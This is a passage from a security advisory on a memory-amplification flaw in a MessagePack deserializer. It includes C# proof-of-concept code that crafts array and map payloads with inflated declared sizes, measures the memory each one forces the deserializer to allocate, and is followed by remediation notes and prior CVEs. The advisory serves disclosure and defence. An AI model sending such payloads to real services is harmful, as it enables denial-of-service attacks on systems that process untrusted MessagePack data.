Advisory

GHSA-qjvr-435c-5fjh

Details, part 2 of 2. The advisory

Details

long after = GC.GetTotalMemory(false);
long delta = after - before;
Console.WriteLine($"[{name}] payload: {payload.Length / 1024.0:F1} KB");
Console.WriteLine($"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB");
Console.WriteLine($"[{name}] amplification: {(double)delta / payload.Length:F1}x");
GC.KeepAlive(result);
}
catch (OutOfMemoryException)
{
Console.WriteLine($"[{name}] OutOfMemoryException");
}
catch (MessagePackSerializationException ex)
{
Console.WriteLine($"[{name}] guarded: {ex.Message}");
}

Console.WriteLine();
}

static byte[] BuildArray32Payload(int count, byte element)
{
byte[] payload = new byte[5 + count];
payload[0] = 0xDD;
BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);
payload.AsSpan(5).Fill(element);
return payload;
}

static byte[] BuildMap32Payload(int count)
{
byte[] payload = new byte[5 + count * 2];
payload[0] = 0xDF;
BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);

for (int i = 0; i < count; i++)
{
payload[5 + i * 2] = (byte)(i % 128);
payload[5 + i * 2 + 1] = 0xC0;
}

return payload;
}


Confirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.

## Remediation

The deserializer honors input data's prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.

## Prior Art

**CVE-2026-21452 / [GHSA-cw39-r4h6-8j3x](https://github.com/advisories/GHSA-cw39-r4h6-8j3x)**: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused `ExtensionValue.getData()` to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in `msgpack-java` 0.9.11 by avoiding unbounded allocation.

**CVE-2024-48924 / [GHSA-4qm4-8hg2-g2xm](https://github.com/advisories/GHSA-4qm4-8hg2-g2xm)**: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.

Sources & licences